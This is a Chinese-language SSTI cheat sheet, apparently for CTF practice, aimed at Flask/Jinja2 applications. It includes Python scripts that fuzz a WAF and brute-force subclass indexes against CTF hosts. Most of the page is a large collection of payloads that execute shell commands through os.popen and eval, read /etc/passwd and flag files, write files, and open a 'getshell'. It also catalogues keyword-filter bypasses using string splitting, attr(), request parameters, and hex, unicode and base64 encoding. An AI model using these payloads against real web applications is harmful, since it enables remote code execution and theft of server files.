判断是否存在

1
2
3
4
{%if 条件%}result{%endif%}
{%if not a%}yes{%endif%}
如果输出yes,则代表有SSTI模板注入漏洞。

利用python模糊测试过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

def get_file_content(file_path, url):
# 初始化一个空字典
dict_list = {}

with open(file_path, 'r') as file:
for line in file:
clean_line = line.strip()
if clean_line:
payload = """SIAS{{{{{}}}}}""".format(clean_line)
try:
response = requests.get(url, params={'code': payload})
response_text = response.text # 确保获取的是字符串

print(f"send payload is : {payload}")
print(f"response: {response.status_code} - {response_text}")
# 如果响应文本中包含 "你干嘛~",将 payload 和 response 作为键值对添加到字典中
if "你干嘛~" in response_text:
dict_list[payload] = response_text
except requests.RequestException as e:
print(f"An error occurred: {e}")

return dict_list

def main():
file_path = "D:\\ctf-tools\\WEB\\字典\\ssti模糊测试.txt"
url = "http://10.213.13.207:49515/WAF"
# 获取字典并存储在变量中
dict_list = get_file_content(file_path, url)
# 在脚本运行完成时打印字典
print("\nFinal dictionary with payloads and responses:")
for payload in dict_list.keys():
print(f"Payload: {payload}")

if __name__ == "__main__":
main()

利用python测试os存在位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

for i in range(0,300):
payload="""{{{{().__class__.__bases__[0].__subclasses__()[{}]}}}}""".format(i)

url = f'http://220c5101-5ca1-4c15-aebf-7933e063a683.challenge.ctf.show/?name={payload}';

print(f"Sending request to: {url}")

res = requests.get(url)
print(res.text)
if 'os.' in res.text:
print('yes')
break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
['popen']('whoami')['read']()
for i in range(131,133):
payload="""{{{{().__class__.__bases__[0].__subclasses__()[{}].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag')").read()
}}}}""".format(i)

#read()是正常输出,readlines()是全输出

url = f'http://220c5101-5ca1-4c15-aebf-7933e063a683.challenge.ctf.show/?name={payload}'
print(f"Sending request to: {url}")

res = requests.get(url)

print(res.text)

payload变式

1
2
{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['popen']('ls').read()
}}

好用poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()')}}

使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块
{{lipsum.__globals__.get('os').popen('cat /flag').read()}}

导入import的os模块进行命令执行
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

过滤os
过滤了os,可以通过get来获取
{{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

{{request.__class__.__base__.__base__['__subcla'+'sses__']()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag')").readlines()}}

常见过滤类型

1.过滤[]等括号

使用gititem绕过。如原poc

1
{{"".__class__.__bases__[0]}}

绕过后

1
{{"".__class__.__bases__.__getitem__(0)}}

2.过滤了subclasses,拼凑法

原poc

1
{{"".__class__.__bases__[0].__subclasses()}}

绕过

1
{{request.__class__.__base__.__base__['__subcla'+'sses__']()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag')").readlines()}}

3.过滤class

使用session

poc

1
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0].__subclasses__()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

1
{{session['__cla'+'ss__'].__mro__[11]}}

或者

1
{{request['__cl'+'ass__'].__mro__[11]}}

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

这里不详说了,博大精深,我只意会一二。

1
2
3
4
5
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

5.过滤字符点

1
{{()['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

6.过滤中括号下划线单双引号但是可以利用request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
获得内置类所对应的类
?name={{()|attr(request.values.a)}}&a=__class__

#可以用args可以用values可以用cookies
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.param).read()}}&popen=popen&param=cat+/flag

获得object基类
?name={{()|attr(request.values.a)|attr(request.values.b)}}&a=__class__&b=__base__

获得所有子类
?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()}}&a=__class__&b=__base__&c=__subclasses__

获得含有可以执行shell命令方法的类
import requests

for num in range(500):
url = "http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(" + str(num) + ")|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen"
res = requests.get(url).text
if "popen" in res:
print(num)
break

#获得可以执行shell命令的方法
?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls
基于
{{().__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['popen']('ls').read()
}}


7.过滤数字

可以改用config注入

1
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

常用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)


#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

Bypass

1.使用中括号[]绕过

1
2
3
4
5
6
{{().__class__}} 
可替换为:
{{()["__class__"]}}

举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2.使用attr()绕过

attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

1
2
3
4
5
6
7
{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}

举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

1.request绕过

1
2
3
4
5
6
7
8
9
10
11
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。

其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

1
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}

注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。
关键字绕过

1.使用切片将逆置的关键字顺序输出,进而达到绕过。

1
2
3
4
5
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用”+”进行字符串拼接,绕过关键字过滤。

1
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}

6.ascii转换

将每一个字符都转换为ascii值后再拼接在一起。

1
2
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

1
2
3
4
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}

同理,也可使用八进制编码绕过

8.base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

1
2
3
4
5
6
"__class__"==("X19jbGFzc19f").decode("base64")

例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

9.unicode编码绕过

1
2
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()

10.Hex编码绕过

1
2
3
4
5
6
7
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

绕过__init__

可以用__enter__或__exit__替代__init__

1
2
3
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}